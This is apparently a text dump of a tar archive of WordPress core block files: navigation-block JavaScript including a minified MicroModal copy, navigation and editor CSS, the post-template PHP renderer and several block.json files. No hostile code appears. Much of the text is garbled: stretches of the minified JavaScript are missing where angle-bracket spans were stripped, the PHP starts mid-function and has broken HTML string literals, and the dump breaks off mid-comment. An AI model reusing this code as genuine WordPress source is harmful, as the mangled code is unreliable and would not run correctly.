toggle.setAttribute('aria-expanded', 'false'); }); } function toggleSubmenuOnClick(event) { const buttonToggle = event.target.closest('[aria-expanded]'); const isSubmenuOpen = buttonToggle.getAttribute('aria-expanded'); if (isSubmenuOpen === 'true') { closeSubmenus(buttonToggle.closest('.wp-block-navigation-item')); } else { // Close all sibling submenus. const parentElement = buttonToggle.closest('.wp-block-navigation-item'); const navigationParent = buttonToggle.closest('.wp-block-navigation__submenu-container, .wp-block-navigation__container, .wp-block-page-list'); navigationParent.querySelectorAll('.wp-block-navigation-item').forEach(function (child) { if (child !== parentElement) { closeSubmenus(child); } }); // Open submenu. buttonToggle.setAttribute('aria-expanded', 'true'); } } // Necessary for some themes such as TT1 Blocks, where // scripts could be loaded before the body. window.addEventListener('load', () => { micromodal_es.init({ onShow: navigationToggleModal, onClose: navigationToggleModal, openClass: 'is-menu-open' }); const submenuButtons = document.querySelectorAll('.wp-block-navigation-submenu__toggle'); submenuButtons.forEach(function (button) { button.addEventListener('click', toggleSubmenuOnClick); }); // Close on click outside. document.addEventListener('click', function (event) { const navigationBlocks = document.querySelectorAll('.wp-block-navigation'); navigationBlocks.forEach(function (block) { if (!block.contains(event.target)) { closeSubmenus(block); } }); }); // Close on focus outside. document.addEventListener('keyup', function (event) { const submenuBlocks = document.querySelectorAll('.wp-block-navigation-item.has-child'); submenuBlocks.forEach(function (block) { if (!block.contains(event.target)) { closeSubmenus(block); } }); }); }); /******/ })() ;blocks/navigation/view-modal.asset.php000064400000000124147177035020014056 0ustar00 array(), 'version' => 'a145d0113e969f692877'); blocks/navigation/view.min.js000064400000020216147177035020012261 0ustar00!function(){"use strict";function e(e,t){for(var o=0;oe.length)&&(t=e.length);for(var o=0,n=new Array(t);o0&&this.registerTriggers.apply(this,t(a)),this.onClick=this.onClick.bind(this),this.onKeydown=this.onKeydown.bind(this)}var i,a;return i=o,(a=[{key:"registerTriggers",value:function(){for(var e=this,t=arguments.length,o=new Array(t),n=0;n0&&void 0!==arguments[0]?arguments[0]:null;if(this.activeElement=document.activeElement,this.modal.setAttribute("aria-hidden","false"),this.modal.classList.add(this.config.openClass),this.scrollBehaviour("disable"),this.addEventListeners(),this.config.awaitOpenAnimation){var o=function t(){e.modal.removeEventListener("animationend",t,!1),e.setFocusToFirstNode()};this.modal.addEventListener("animationend",o,!1)}else this.setFocusToFirstNode();this.config.onShow(this.modal,this.activeElement,t)}},{key:"closeModal",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:null,t=this.modal;if(this.modal.setAttribute("aria-hidden","true"),this.removeEventListeners(),this.scrollBehaviour("enable"),this.activeElement&&this.activeElement.focus&&this.activeElement.focus(),this.config.onClose(this.modal,this.activeElement,e),this.config.awaitCloseAnimation){var o=this.config.openClass;this.modal.addEventListener("animationend",(function e(){t.classList.remove(o),t.removeEventListener("animationend",e,!1)}),!1)}else t.classList.remove(this.config.openClass)}},{key:"closeModalById",value:function(e){this.modal=document.getElementById(e),this.modal&&this.closeModal()}},{key:"scrollBehaviour",value:function(e){if(this.config.disableScroll){var t=document.querySelector("body");switch(e){case"enable":Object.assign(t.style,{overflow:""});break;case"disable":Object.assign(t.style,{overflow:"hidden"})}}}},{key:"addEventListeners",value:function(){this.modal.addEventListener("touchstart",this.onClick),this.modal.addEventListener("click",this.onClick),document.addEventListener("keydown",this.onKeydown)}},{key:"removeEventListeners",value:function(){this.modal.removeEventListener("touchstart",this.onClick),this.modal.removeEventListener("click",this.onClick),document.removeEventListener("keydown",this.onKeydown)}},{key:"onClick",value:function(e){(e.target.hasAttribute(this.config.closeTrigger)||e.target.parentNode.hasAttribute(this.config.closeTrigger))&&(e.preventDefault(),e.stopPropagation(),this.closeModal(e))}},{key:"onKeydown",value:function(e){27===e.keyCode&&this.closeModal(e),9===e.keyCode&&this.retainFocus(e)}},{key:"getFocusableNodes",value:function(){var e=this.modal.querySelectorAll(n);return Array.apply(void 0,t(e))}},{key:"setFocusToFirstNode",value:function(){var e=this;if(!this.config.disableFocus){var t=this.getFocusableNodes();if(0!==t.length){var o=t.filter((function(t){return!t.hasAttribute(e.config.closeTrigger)}));o.length>0&&o[0].focus(),0===o.length&&t[0].focus()}}}},{key:"retainFocus",value:function(e){var t=this.getFocusableNodes();if(0!==t.length)if(t=t.filter((function(e){return null!==e.offsetParent})),this.modal.contains(document.activeElement)){var o=t.indexOf(document.activeElement);e.shiftKey&&0===o&&(t[t.length-1].focus(),e.preventDefault()),!e.shiftKey&&t.length>0&&o===t.length-1&&(t[0].focus(),e.preventDefault())}else t[0].focus()}}])&&e(i.prototype,a),o}(),a=null,r=function(e){if(!document.getElementById(e))return console.warn("MicroModal: ❗Seems like you have missed %c'".concat(e,"'"),"background-color: #f8f9fa;color: #50596c;font-weight: bold;","ID somewhere in your code. Refer example below to resolve it."),console.warn("%cExample:","background-color: #f8f9fa;color: #50596c;font-weight: bold;",'')),!1},l=function(e,t){if(function(e){e.length<=0&&(console.warn("MicroModal: ❗Please specify at least one %c'micromodal-trigger'","background-color: #f8f9fa;color: #50596c;font-weight: bold;","data attribute."),console.warn("%cExample:","background-color: #f8f9fa;color: #50596c;font-weight: bold;",''))}(e),!t)return!0;for(var o in t)r(o);return!0},{init:function(e){var o=Object.assign({},{openTrigger:"data-micromodal-trigger"},e),n=t(document.querySelectorAll("[".concat(o.openTrigger,"]"))),r=function(e,t){var o=[];return e.forEach((function(e){var n=e.attributes[t].value;void 0===o[n]&&(o[n]=[]),o[n].push(e)})),o}(n,o.openTrigger);if(!0!==o.debugMode||!1!==l(n,r))for(var s in r){var c=r[s];o.targetModal=s,o.triggers=t(c),a=new i(o)}},show:function(e,t){var o=t||{};o.targetModal=e,!0===o.debugMode&&!1===r(e)||(a&&a.removeEventListeners(),(a=new i(o)).showModal())},close:function(e){e?a.closeModalById(e):a.closeModal()}});"undefined"!=typeof window&&(window.MicroModal=s);var c=s;function d(e){const t=e.querySelector(".wp-block-navigation__responsive-dialog"),o="true"===e.getAttribute("aria-hidden");e.classList.toggle("has-modal-open",!o),t.toggleAttribute("aria-modal",!o),o?(t.removeAttribute("role"),t.removeAttribute("aria-modal")):(t.setAttribute("role","dialog"),t.setAttribute("aria-modal","true"));document.documentElement.classList.toggle("has-modal-open")}function u(e){e.querySelectorAll('[aria-expanded="true"]').forEach((function(e){e.setAttribute("aria-expanded","false")}))}function f(e){const t=e.target.closest("[aria-expanded]");if("true"===t.getAttribute("aria-expanded"))u(t.closest(".wp-block-navigation-item"));else{const e=t.closest(".wp-block-navigation-item");t.closest(".wp-block-navigation__submenu-container, .wp-block-navigation__container, .wp-block-page-list").querySelectorAll(".wp-block-navigation-item").forEach((function(t){t!==e&&u(t)})),t.setAttribute("aria-expanded","true")}}window.addEventListener("load",(()=>{c.init({onShow:d,onClose:d,openClass:"is-menu-open"});document.querySelectorAll(".wp-block-navigation-submenu__toggle").forEach((function(e){e.addEventListener("click",f)})),document.addEventListener("click",(function(e){document.querySelectorAll(".wp-block-navigation").forEach((function(t){t.contains(e.target)||u(t)}))})),document.addEventListener("keyup",(function(e){document.querySelectorAll(".wp-block-navigation-item.has-child").forEach((function(t){t.contains(e.target)||u(t)}))}))}))}();blocks/navigation/style.css000064400000042333147177035020012045 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-navigation { position: relative; --navigation-layout-justification-setting: flex-start; --navigation-layout-direction: row; --navigation-layout-wrap: wrap; --navigation-layout-justify: flex-start; --navigation-layout-align: center; } .wp-block-navigation ul { margin-top: 0; margin-bottom: 0; margin-left: 0; padding-left: 0; } .wp-block-navigation ul, .wp-block-navigation ul li { list-style: none; padding: 0; } .wp-block-navigation .wp-block-navigation-item { display: flex; align-items: center; position: relative; } .wp-block-navigation .wp-block-navigation-item .wp-block-navigation__submenu-container:empty { display: none; } .wp-block-navigation .wp-block-navigation-item__content { color: inherit; display: block; padding: 0; } .wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content { text-decoration: underline; } .wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:focus, .wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:active { text-decoration: underline; } .wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content { text-decoration: line-through; } .wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:focus, .wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:active { text-decoration: line-through; } .wp-block-navigation:where(:not([class*="has-text-decoration"])) a { text-decoration: none; } .wp-block-navigation:where(:not([class*="has-text-decoration"])) a:focus, .wp-block-navigation:where(:not([class*="has-text-decoration"])) a:active { text-decoration: none; } .wp-block-navigation .wp-block-navigation__submenu-icon { align-self: center; line-height: 0; display: inline-block; font-size: inherit; padding: 0; background-color: inherit; color: currentColor; border: none; width: 0.6em; height: 0.6em; margin-left: 0.25em; } .wp-block-navigation .wp-block-navigation__submenu-icon svg { display: inline-block; stroke: currentColor; width: inherit; height: inherit; margin-top: 0.075em; } .wp-block-navigation.is-vertical { --navigation-layout-direction: column; --navigation-layout-justify: initial; --navigation-layout-align: flex-start; } .wp-block-navigation.no-wrap { --navigation-layout-wrap: nowrap; } .wp-block-navigation.items-justified-center { --navigation-layout-justification-setting: center; --navigation-layout-justify: center; } .wp-block-navigation.items-justified-center.is-vertical { --navigation-layout-align: center; } .wp-block-navigation.items-justified-right { --navigation-layout-justification-setting: flex-end; --navigation-layout-justify: flex-end; } .wp-block-navigation.items-justified-right.is-vertical { --navigation-layout-align: flex-end; } .wp-block-navigation.items-justified-space-between { --navigation-layout-justification-setting: space-between; --navigation-layout-justify: space-between; } .wp-block-navigation .has-child :where(.wp-block-navigation__submenu-container) { background-color: inherit; color: inherit; position: absolute; z-index: 2; display: flex; flex-direction: column; align-items: normal; opacity: 0; transition: opacity 0.1s linear; visibility: hidden; width: 0; height: 0; overflow: hidden; left: -1px; top: 100%; } .wp-block-navigation .has-child :where(.wp-block-navigation__submenu-container) > .wp-block-navigation-item > .wp-block-navigation-item__content { display: flex; flex-grow: 1; } .wp-block-navigation .has-child :where(.wp-block-navigation__submenu-container) > .wp-block-navigation-item > .wp-block-navigation-item__content .wp-block-navigation__submenu-icon { margin-right: 0; margin-left: auto; } .wp-block-navigation .has-child :where(.wp-block-navigation__submenu-container) .wp-block-navigation-item__content { margin: 0; } @media (min-width: 782px) { .wp-block-navigation .has-child :where(.wp-block-navigation__submenu-container) .wp-block-navigation__submenu-container { left: 100%; top: -1px; } .wp-block-navigation .has-child :where(.wp-block-navigation__submenu-container) .wp-block-navigation__submenu-container::before { content: ""; position: absolute; right: 100%; height: 100%; display: block; width: 0.5em; background: transparent; } .wp-block-navigation .has-child :where(.wp-block-navigation__submenu-container) .wp-block-navigation__submenu-icon { margin-right: 0.25em; } .wp-block-navigation .has-child :where(.wp-block-navigation__submenu-container) .wp-block-navigation__submenu-icon svg { transform: rotate(-90deg); } } .wp-block-navigation .has-child:where(:not(.open-on-click)):hover > .wp-block-navigation__submenu-container { visibility: visible; overflow: visible; opacity: 1; width: auto; height: auto; min-width: 200px; } .wp-block-navigation .has-child:where(:not(.open-on-click):not(.open-on-hover-click)):focus-within > .wp-block-navigation__submenu-container { visibility: visible; overflow: visible; opacity: 1; width: auto; height: auto; min-width: 200px; } .wp-block-navigation .has-child .wp-block-navigation-submenu__toggle[aria-expanded=true] ~ .wp-block-navigation__submenu-container { visibility: visible; overflow: visible; opacity: 1; width: auto; height: auto; min-width: 200px; } .wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container { left: 0; top: 100%; } @media (min-width: 782px) { .wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container { left: 100%; top: 0; } } .wp-block-navigation-submenu { position: relative; display: flex; } .wp-block-navigation-submenu .wp-block-navigation__submenu-icon svg { stroke: currentColor; } button.wp-block-navigation-item__content { background-color: transparent; border: none; color: currentColor; font-size: inherit; font-family: inherit; line-height: inherit; font-style: inherit; font-weight: inherit; text-transform: inherit; text-align: left; } .wp-block-navigation-submenu__toggle { cursor: pointer; } .wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle { padding-right: 0.85em; } .wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle + .wp-block-navigation__submenu-icon { margin-left: -0.6em; pointer-events: none; } /** * Margins */ .wp-block-navigation__responsive-container, .wp-block-navigation__responsive-close, .wp-block-navigation__responsive-dialog, .wp-block-navigation, .wp-block-navigation .wp-block-page-list, .wp-block-navigation__container, .wp-block-navigation__responsive-container-content { gap: inherit; } .wp-block-navigation:where(.has-background), .wp-block-navigation:where(.has-background) .wp-block-navigation .wp-block-page-list, .wp-block-navigation:where(.has-background) .wp-block-navigation__container { gap: inherit; } /** * Paddings */ .wp-block-navigation:where(.has-background) .wp-block-navigation-item__content { padding: 0.5em 1em; } .wp-block-navigation :where(.wp-block-navigation__submenu-container) .wp-block-navigation-item__content { padding: 0.5em 1em; } /** * Justifications. */ .wp-block-navigation.items-justified-space-between .wp-block-page-list > .has-child:last-child .wp-block-navigation__submenu-container, .wp-block-navigation.items-justified-space-between > .wp-block-navigation__container > .has-child:last-child .wp-block-navigation__submenu-container, .wp-block-navigation.items-justified-right .wp-block-page-list > .has-child .wp-block-navigation__submenu-container, .wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container { left: auto; right: 0; } .wp-block-navigation.items-justified-space-between .wp-block-page-list > .has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container, .wp-block-navigation.items-justified-space-between > .wp-block-navigation__container > .has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container, .wp-block-navigation.items-justified-right .wp-block-page-list > .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container, .wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container { left: -1px; right: -1px; } @media (min-width: 782px) { .wp-block-navigation.items-justified-space-between .wp-block-page-list > .has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container, .wp-block-navigation.items-justified-space-between > .wp-block-navigation__container > .has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container, .wp-block-navigation.items-justified-right .wp-block-page-list > .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container, .wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container { left: auto; right: 100%; } } .wp-block-navigation:not(.has-background) .wp-block-navigation__submenu-container { background-color: #fff; color: #000; border: 1px solid rgba(0, 0, 0, 0.15); } .wp-block-navigation__container { display: flex; flex-wrap: var(--navigation-layout-wrap, wrap); flex-direction: var(--navigation-layout-direction, initial); justify-content: var(--navigation-layout-justify, initial); align-items: var(--navigation-layout-align, initial); list-style: none; margin: 0; padding-left: 0; } .wp-block-navigation__container .is-responsive { display: none; } .wp-block-navigation__container:only-child, .wp-block-page-list:only-child { flex-grow: 1; } /** * Mobile menu. */ .wp-block-navigation__responsive-container { display: none; position: fixed; top: 0; left: 0; right: 0; bottom: 0; } .wp-block-navigation__responsive-container .wp-block-navigation__responsive-container-content { display: flex; flex-wrap: var(--navigation-layout-wrap, wrap); flex-direction: var(--navigation-layout-direction, initial); justify-content: var(--navigation-layout-justify, initial); align-items: var(--navigation-layout-align, initial); } .wp-block-navigation__responsive-container:not(.is-menu-open.is-menu-open) { color: inherit !important; background-color: inherit !important; } .wp-block-navigation__responsive-container.is-menu-open { display: flex; flex-direction: column; background-color: inherit; padding: 2rem; overflow: auto; z-index: 100000; } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content { padding-top: calc(2rem + 24px); overflow: visible; display: flex; flex-direction: column; flex-wrap: nowrap; align-items: var(--navigation-layout-justification-setting, inherit); } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content, .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-page-list, .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container { justify-content: flex-start; } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-icon { display: none; } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .has-child .submenu-container, .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .has-child .wp-block-navigation__submenu-container { opacity: 1; visibility: visible; height: auto; width: auto; overflow: initial; min-width: 200px; position: static; border: none; padding-left: 2rem; padding-right: 2rem; } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container, .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container { gap: inherit; } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container { padding-top: var(--wp--style--block-gap, 2em); } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation-item__content { padding: 0; } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container, .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation-item, .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-page-list { display: flex; flex-direction: column; align-items: var(--navigation-layout-justification-setting, initial); } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation-item .wp-block-navigation__submenu-container, .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation-item, .wp-block-navigation__responsive-container.is-menu-open .wp-block-page-list { color: inherit !important; background: transparent !important; } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container { right: auto; left: auto; } @media (min-width: 600px) { .wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open) { display: block; width: 100%; position: relative; z-index: auto; background-color: inherit; } .wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open) .wp-block-navigation__responsive-container-close { display: none; } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container { left: 0; } } .wp-block-navigation:not(.has-background) .wp-block-navigation__responsive-container.is-menu-open { background-color: #fff; color: #000; } .wp-block-navigation__toggle_button_label { font-size: 1rem; font-weight: bold; } .wp-block-navigation__responsive-container-open, .wp-block-navigation__responsive-container-close { vertical-align: middle; cursor: pointer; color: currentColor; background: transparent; border: none; margin: 0; padding: 0; } .wp-block-navigation__responsive-container-open svg, .wp-block-navigation__responsive-container-close svg { fill: currentColor; pointer-events: none; display: block; width: 24px; height: 24px; } .wp-block-navigation__responsive-container-open { display: flex; } @media (min-width: 600px) { .wp-block-navigation__responsive-container-open:not(.always-shown) { display: none; } } .wp-block-navigation__responsive-container-close { position: absolute; top: 0; right: 0; z-index: 2; } .wp-block-navigation__responsive-close { width: 100%; } .wp-block-navigation__responsive-close:focus { outline: none; } .is-menu-open .wp-block-navigation__responsive-close, .is-menu-open .wp-block-navigation__responsive-dialog, .is-menu-open .wp-block-navigation__responsive-container-content { box-sizing: border-box; } .wp-block-navigation__responsive-dialog { position: relative; } html.has-modal-open { overflow: hidden; }blocks/navigation/view.min.asset.php000064400000000137147177035020013552 0ustar00 array(), 'version' => '009e29110e016c14bac4ba0ecc809fcd');blocks/post-template.php000064400000007702147177035020011344 0ustar00name ) { return true; } if ( 'core/cover' === $block->name && ! empty( $block->attributes['useFeaturedImage'] ) ) { return true; } if ( $block->inner_blocks && block_core_post_template_uses_featured_image( $block->inner_blocks ) ) { return true; } } return false; } /** * Renders the `core/post-template` block on the server. * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * * @return string Returns the output of the query, structured using the layout defined by the block's inner blocks. */ function render_block_core_post_template( $attributes, $content, $block ) { $page_key = isset( $block->context['queryId'] ) ? 'query-' . $block->context['queryId'] . '-page' : 'query-page'; $page = empty( $_GET[ $page_key ] ) ? 1 : (int) $_GET[ $page_key ]; // Use global query if needed. $use_global_query = ( isset( $block->context['query']['inherit'] ) && $block->context['query']['inherit'] ); if ( $use_global_query ) { global $wp_query; $query = clone $wp_query; } else { $query_args = build_query_vars_from_query_block( $block, $page ); $query = new WP_Query( $query_args ); } if ( ! $query->have_posts() ) { return ''; } if ( block_core_post_template_uses_featured_image( $block->inner_blocks ) ) { update_post_thumbnail_cache( $query ); } $classnames = ''; if ( isset( $block->context['displayLayout'] ) && isset( $block->context['query'] ) ) { if ( isset( $block->context['displayLayout']['type'] ) && 'flex' === $block->context['displayLayout']['type'] ) { $classnames = "is-flex-container columns-{$block->context['displayLayout']['columns']}"; } } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $classnames ) ); $content = ''; while ( $query->have_posts() ) { $query->the_post(); // Get an instance of the current Post Template block. $block_instance = $block->parsed_block; // Set the block name to one that does not correspond to an existing registered block. // This ensures that for the inner instances of the Post Template block, we do not render any block supports. $block_instance['blockName'] = 'core/null'; // Render the inner blocks of the Post Template block with `dynamic` set to `false` to prevent calling // `render_callback` and ensure that no wrapper markup is included. $block_content = ( new WP_Block( $block_instance, array( 'postType' => get_post_type(), 'postId' => get_the_ID(), ) ) )->render( array( 'dynamic' => false ) ); // Wrap the render inner blocks in a `li` element with the appropriate post classes. $post_classes = implode( ' ', get_post_class( 'wp-block-post' ) ); $content .= '
  • ' . $block_content . '
  • '; } /* * Use this function to restore the context of the template tags * from a secondary query loop back to the main query loop. * Since we use two custom loops, it's safest to always restore. */ wp_reset_postdata(); return sprintf( '
      %2$s
    ', $wrapper_attributes, $content ); } /** * Registers the `core/post-template` block on the server. */ function register_block_core_post_template() { register_block_type_from_metadata( __DIR__ . '/post-template', array( 'render_callback' => 'render_block_core_post_template', 'skip_inner_blocks' => true, ) ); } add_action( 'init', 'register_block_core_post_template' ); blocks/post-author-name/style.min.css000064400000000061147177035020013663 0ustar00.wp-block-post-author-name{box-sizing:border-box}blocks/post-author-name/style-rtl.css000064400000000066147177035020013705 0ustar00.wp-block-post-author-name{ box-sizing:border-box; }blocks/post-author-name/block.json000064400000002617147177035020013225 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/post-author-name", "title": "Author Name", "category": "theme", "description": "The author name.", "textdomain": "default", "attributes": { "textAlign": { "type": "string" }, "isLink": { "type": "boolean", "default": false }, "linkTarget": { "type": "string", "default": "_self" } }, "usesContext": [ "postType", "postId" ], "example": { "viewportWidth": 350 }, "supports": { "html": false, "spacing": { "margin": true, "padding": true }, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true, "link": true } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true, "__experimentalDefaultControls": { "radius": true, "color": true, "width": true, "style": true } } }, "style": "wp-block-post-author-name" } blocks/post-author-name/style-rtl.min.css000064400000000061147177035020014462 0ustar00.wp-block-post-author-name{box-sizing:border-box}blocks/post-author-name/style.css000064400000000066147177035020013106 0ustar00.wp-block-post-author-name{ box-sizing:border-box; }blocks/comments-pagination-previous/block.json000064400000001562147177035020015646 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/comments-pagination-previous", "title": "Previous Page", "category": "theme", "parent": [ "core/comments-pagination" ], "description": "Displays the previous comment's page link.", "textdomain": "default", "attributes": { "label": { "type": "string" } }, "usesContext": [ "postId", "comments/paginationArrow" ], "supports": { "reusable": false, "html": false, "color": { "gradients": true, "text": false, "__experimentalDefaultControls": { "background": true } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontStyle": true, "__experimentalFontWeight": true, "__experimentalLetterSpacing": true, "__experimentalTextTransform": true, "__experimentalDefaultControls": { "fontSize": true } } } } blocks/navigation-link/editor-rtl.css000064400000010041147177035020013714 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Submenus. */ .wp-block-navigation .has-child { cursor: pointer; } .wp-block-navigation .has-child .wp-block-navigation__submenu-container { z-index: 28; } .wp-block-navigation .has-child:hover .wp-block-navigation__submenu-container { z-index: 29; } .wp-block-navigation .has-child.is-selected > .wp-block-navigation__submenu-container, .wp-block-navigation .has-child.has-child-selected > .wp-block-navigation__submenu-container { visibility: visible !important; opacity: 1 !important; min-width: 200px !important; height: auto !important; width: auto !important; overflow: visible !important; } /** * Navigation Items. */ .wp-block-navigation-item .wp-block-navigation-item__content { cursor: text; } .wp-block-navigation-item.is-editing, .wp-block-navigation-item.is-selected { min-width: 20px; } .wp-block-navigation-item .block-list-appender { margin-top: 16px; margin-left: auto; margin-bottom: 16px; margin-right: 16px; } .wp-block-navigation-link__invalid-item { color: #000; } .wp-block-navigation-link__missing_text-tooltip { position: absolute; width: 1px; height: 1px; padding: 0; margin: -1px; overflow: hidden; } /** * Menu item setup state. Is shown when a menu item has no URL configured. */ .wp-block-navigation-link__placeholder { position: relative; text-decoration: none !important; box-shadow: none !important; background-image: none !important; } .wp-block-navigation-link__placeholder .wp-block-navigation-link__placeholder-text span { --wp-underline-color: var(--wp-admin-theme-color); background-image: linear-gradient(-45deg, transparent 20%, var(--wp-underline-color) 30%, var(--wp-underline-color) 36%, transparent 46%), linear-gradient(-135deg, transparent 54%, var(--wp-underline-color) 64%, var(--wp-underline-color) 70%, transparent 80%); background-position: 100% 100%; background-size: 6px 3px; background-repeat: repeat-x; padding-bottom: 0.1em; } .is-dark-theme .wp-block-navigation-link__placeholder .wp-block-navigation-link__placeholder-text span { --wp-underline-color: #fff; } .wp-block-navigation-link__placeholder.wp-block-navigation-item__content { cursor: pointer; } /** * Link Control Transforms */ .link-control-transform { border-top: 1px solid #ccc; padding: 0 16px 8px 16px; } .link-control-transform__subheading { font-size: 11px; text-transform: uppercase; font-weight: 500; color: #1e1e1e; margin-bottom: 1.5em; } .link-control-transform__items { display: flex; justify-content: space-between; } .link-control-transform__item { flex-basis: 33%; flex-direction: column; gap: 8px; height: auto; }blocks/navigation-link/style.min.css000064400000000252147177035020013554 0ustar00.wp-block-navigation .wp-block-navigation-item__label{word-break:normal;overflow-wrap:break-word}.wp-block-navigation .wp-block-navigation-item__description{display:none}blocks/navigation-link/editor.css000064400000010034147177035020013117 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for 